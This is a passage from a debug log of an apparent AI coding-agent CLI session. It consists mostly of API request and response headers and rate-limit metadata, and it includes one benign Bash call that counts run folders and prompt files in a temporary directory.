\"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:13.156Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:13.158Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:13.160Z] [STDOUT]     \"cf-ray\": \"a42960e2790adbb5-FRA\",\n[2026-09-29T07:47:13.164Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:13.167Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:13.174Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:13.178Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:13.181Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:13 GMT\",\n[2026-09-29T07:47:13.184Z] [STDOUT]     \"request-id\": \"req_011CfXMtgtLmxURzD3Vvpmvx\",\n[2026-09-29T07:47:13.188Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:13.192Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:13.198Z] [STDOUT]     traceresponse: \"00-ff04097564d4204d7f1c336aff35b0ec-3ddb6fffe2079aa3-01\",\n[2026-09-29T07:47:13.202Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:13.206Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:13.212Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:13.221Z] [STDOUT]   },\n[2026-09-29T07:47:13.225Z] [STDOUT]   durationMs: 672,\n[2026-09-29T07:47:13.234Z] [STDOUT] }\n[2026-09-29T07:47:13.242Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:13.248Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:13 GMT\",\n[2026-09-29T07:47:13.252Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:13.255Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:13.259Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:13.262Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:13.264Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:13.267Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:13.270Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:13.273Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:13.276Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:13.279Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:13.284Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:13.288Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:13.292Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:13.295Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:13.298Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:13.301Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.304Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:13.307Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:13.311Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:13.316Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:13.321Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.325Z] [STDOUT]   \"request-id\": \"req_011CfXMtgtLmxURzD3Vvpmvx\",\n[2026-09-29T07:47:13.333Z] [STDOUT]   \"traceresponse\": \"00-ff04097564d4204d7f1c336aff35b0ec-3ddb6fffe2079aa3-01\",\n[2026-09-29T07:47:13.339Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:13.345Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:13.352Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:13.354Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:13.358Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:13.368Z] [STDOUT]   \"cf-ray\": \"a42960e2790adbb5-FRA\",\n[2026-09-29T07:47:13.381Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:13.389Z] [STDOUT] [log_eb9258] response parsed {\n[2026-09-29T07:47:13.393Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:13.397Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:13.401Z] [STDOUT]   body: X {\n[2026-09-29T07:47:13.404Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:13.407Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:13.411Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:13.416Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:13.421Z] [STDOUT]     },\n[2026-09-29T07:47:13.426Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:13.435Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:13.442Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:13.453Z] [STDOUT]   },\n[2026-09-29T07:47:13.455Z] [STDOUT]   durationMs: 673,\n[2026-09-29T07:47:13.458Z] [STDOUT] }\n[2026-09-29T07:47:13.564Z] [INFO] {\n[2026-09-29T07:47:13.564Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:13.564Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:13.564Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:13.564Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:13.564Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:13.564Z] [INFO]   \"uuid\": \"782e8214-091c-48b1-9723-ad89e3dbb75a\"\n[2026-09-29T07:47:13.564Z] [INFO] }\n[2026-09-29T07:47:15.230Z] [INFO] {\n[2026-09-29T07:47:15.230Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:15.230Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:15.230Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:47:15.230Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:15.230Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:15.230Z] [INFO]   \"uuid\": \"077522d6-f5fd-4b21-890b-115f99a14958\"\n[2026-09-29T07:47:15.230Z] [INFO] }\n[2026-09-29T07:47:16.034Z] [INFO] {\n[2026-09-29T07:47:16.034Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:16.034Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:16.034Z] [INFO]   \"estimated_tokens\": 284,\n[2026-09-29T07:47:16.034Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:16.034Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:16.034Z] [INFO]   \"uuid\": \"9b3a40d2-81ac-4e3a-a90d-3cebb4baaacd\"\n[2026-09-29T07:47:16.034Z] [INFO] }\n[2026-09-29T07:47:16.041Z] [INFO] {\n[2026-09-29T07:47:16.041Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:16.041Z] [INFO]   \"message\": {\n[2026-09-29T07:47:16.041Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"id\": \"msg_011CfXMthKPUBBSnnKwcswES\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"content\": [\n[2026-09-29T07:47:16.041Z] [INFO]       {\n[2026-09-29T07:47:16.041Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:16.041Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:16.041Z] [INFO]         \"signature\": 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\"post\",\n[2026-09-29T07:47:18.641Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:18.645Z] [STDOUT]     body: {\n[2026-09-29T07:47:18.649Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:18.654Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:18.658Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:18.662Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:18.665Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:18.668Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:18.671Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:18.678Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:18.683Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:18.692Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:18.696Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:18.700Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:18.703Z] [STDOUT]     },\n[2026-09-29T07:47:18.706Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:18.711Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:18.717Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:18.722Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:18.727Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:18.745Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:18.761Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:18.773Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:18.783Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:18.790Z] [STDOUT]     },\n[2026-09-29T07:47:18.794Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:18.799Z] [STDOUT]   },\n[2026-09-29T07:47:18.801Z] [STDOUT]   headers: {\n[2026-09-29T07:47:18.805Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:18.810Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:18.813Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:18.815Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:18.818Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:18.822Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:18.826Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:18.829Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:18.832Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:18.836Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1247\",\n[2026-09-29T07:47:18.839Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:18.843Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:18.846Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:18.851Z] [STDOUT]     \"x-client-request-id\": \"b796cf66-6832-488f-86f8-68e16e3443ff\",\n[2026-09-29T07:47:18.853Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:18.858Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:18.860Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:18.862Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:18.865Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:18.869Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:18.878Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:18.883Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:18.886Z] [STDOUT]   },\n[2026-09-29T07:47:18.888Z] [STDOUT] }\n[2026-09-29T07:47:19.442Z] [STDOUT] [log_65078e, request-id: \"req_011CfXMu9XitxvPrAXVRVYJ1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 823ms\n[2026-09-29T07:47:19.462Z] [STDOUT] [log_65078e] response start {\n[2026-09-29T07:47:19.468Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:19.477Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:19.485Z] [STDOUT]   headers: {\n[2026-09-29T07:47:19.490Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:19.495Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:19.498Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:19.502Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:19.517Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:19.526Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.536Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:19.540Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:19.546Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:19.554Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:19.557Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:19.561Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:19.563Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:19.569Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.577Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:19.585Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:19.588Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:19.591Z] [STDOUT]     \"cf-ray\": \"a42961095c18dbb5-FRA\",\n[2026-09-29T07:47:19.596Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:19.601Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:19.603Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:19.608Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:19.612Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:19 GMT\",\n[2026-09-29T07:47:19.614Z] [STDOUT]     \"request-id\": \"req_011CfXMu9XitxvPrAXVRVYJ1\",\n[2026-09-29T07:47:19.626Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:19.632Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:19.636Z] [STDOUT]     traceresponse: \"00-169c438d271995ec7c27e263568e1144-fd5cd3929116cc63-01\",\n[2026-09-29T07:47:19.640Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:19.651Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:19.657Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:19.661Z] [STDOUT]   },\n[2026-09-29T07:47:19.664Z] [STDOUT]   durationMs: 823,\n[2026-09-29T07:47:19.668Z] [STDOUT] }\n[2026-09-29T07:47:19.672Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:19.676Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:19 GMT\",\n[2026-09-29T07:47:19.684Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:19.687Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:19.690Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:19.693Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:19.698Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:19.701Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:19.704Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:19.707Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:19.710Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:19.717Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:19.723Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:19.728Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:19.732Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:19.737Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:19.743Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:19.746Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.749Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:19.754Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:19.758Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:19.764Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:19.768Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.771Z] [STDOUT]   \"request-id\": \"req_011CfXMu9XitxvPrAXVRVYJ1\",\n[2026-09-29T07:47:19.774Z] [STDOUT]   \"traceresponse\": \"00-169c438d271995ec7c27e263568e1144-fd5cd3929116cc63-01\",\n[2026-09-29T07:47:19.778Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:19.783Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:19.792Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:19.799Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:19.803Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:19.806Z] [STDOUT]   \"cf-ray\": \"a42961095c18dbb5-FRA\",\n[2026-09-29T07:47:19.811Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:19.816Z] [STDOUT] [log_65078e] response parsed {\n[2026-09-29T07:47:19.819Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:19.825Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:19.828Z] [STDOUT]   body: X {\n[2026-09-29T07:47:19.834Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:19.838Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:19.842Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:19.845Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:19.848Z] [STDOUT]     },\n[2026-09-29T07:47:19.852Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:19.855Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:19.857Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:19.860Z] [STDOUT]   },\n[2026-09-29T07:47:19.865Z] [STDOUT]   durationMs: 846,\n[2026-09-29T07:47:19.870Z] [STDOUT] }\n[2026-09-29T07:47:20.426Z] [INFO] {\n[2026-09-29T07:47:20.426Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"message\": {\n[2026-09-29T07:47:20.426Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"id\": \"msg_011CfXMuA11QgJVeVJtvQxew\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"content\": [\n[2026-09-29T07:47:20.426Z] [INFO]       {\n[2026-09-29T07:47:20.426Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:20.426Z] [INFO]         \"id\": \"toolu_01WZyQAmCHCcnrBKqfDfxaaa\",\n[2026-09-29T07:47:20.426Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:20.426Z] [INFO]         \"input\": {\n[2026-09-29T07:47:20.426Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && find runs -maxdepth 3 | head -20; find runs -type d -name 'RUN-*' | wc -l; find prompts -name '*.md' | wc -l; ls prompts\",\n[2026-09-29T07:47:20.426Z] [INFO]           \"description\": \"Count runs and prompts\"\n[2026-09-29T07:47:20.426Z] [INFO]         },\n[2026-09-29T07:47:20.426Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:20.426Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:20.426Z] [INFO]         }\n[2026-09-29T07:47:20.426Z] [INFO]       }\n[2026-09-29T07:47:20.426Z] [INFO]     ],\n[2026-09-29T07:47:20.426Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:20.426Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:20.426Z] [INFO]       \"cache_creation_input_tokens\": 757,\n[2026-09-29T07:47:20.426Z] [INFO]       \"cache_read_input_tokens\": 50332,\n[2026-09-29T07:47:20.426Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:20.426Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:20.426Z] [INFO]         \"ephemeral_1h_input_tokens\": 757\n[2026-09-29T07:47:20.426Z] [INFO]       },\n[2026-09-29T07:47:20.426Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:47:20.426Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:20.426Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:20.426Z] [INFO]     },\n[2026-09-29T07:47:20.426Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:20.426Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:20.426Z] [INFO]   },\n[2026-09-29T07:47:20.426Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:20.426Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"uuid\": \"77a96f98-9647-48fc-89ad-6a8f4470211f\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:20.416Z\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"request_id\": \"req_011CfXMu9XitxvPrAXVRVYJ1\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:20.426Z] [INFO]     \"toolu_01WZyQAmCHCcnrBKqfDfxaaa\": {\n[2026-09-29T07:47:20.426Z] [INFO]       \"command\": \"cd /tmp/mango_ba_prompts && find runs -maxdepth 3 | head -20; find runs -type d -name 'RUN-*' | wc -l; find prompts -name '*.md' | wc -l; ls prompts\",\n[2026-09-29T07:47:20.426Z] [INFO]       \"description\": \"Count runs and prompts\"\n[2026-09-29T07:47:20.426Z] [INFO]     }\n[2026-09-29T07:47:20.426Z] [INFO]   }\n[2026-09-29T07:47:20.426Z] [INFO] }\n[2026-09-29T07:47:21.965Z] [INFO] {\n[2026-09-29T07:47:21.965Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:21.965Z] [INFO]   \"message\": {\n[2026-09-29T07:47:21.965Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:21.965Z] [INFO]     \"content\": [\n[2026-09-29T07:47:21.965Z] [INFO]       {\n[2026-09-29T07:47:21.965Z] [INFO]         \"tool_use_id\": \"toolu_01WZyQAmCHCcnrBKqfDfxaaa\",\n[2026-09-29T07:47:21.965Z] [INFO]         \"type\": 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[INFO]     \"stderr\": \"\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:47:21.965Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:21.965Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:21.965Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:21.965Z] [INFO]   }\n[2026-09-29T07:47:21.965Z] [INFO] }\n[2026-09-29T07:47:22.005Z] [STDOUT] [log_481b77] sending request {\n[2026-09-29T07:47:22.012Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:22.022Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:22.030Z] [STDOUT]   options: {\n[2026-09-29T07:47:22.039Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:22.042Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:22.045Z] [STDOUT]     body: {\n[2026-09-29T07:47:22.062Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:22.067Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:22.072Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:22.081Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:22.088Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:22.094Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:22.100Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:22.104Z] [STDOUT]       context_management: [Object 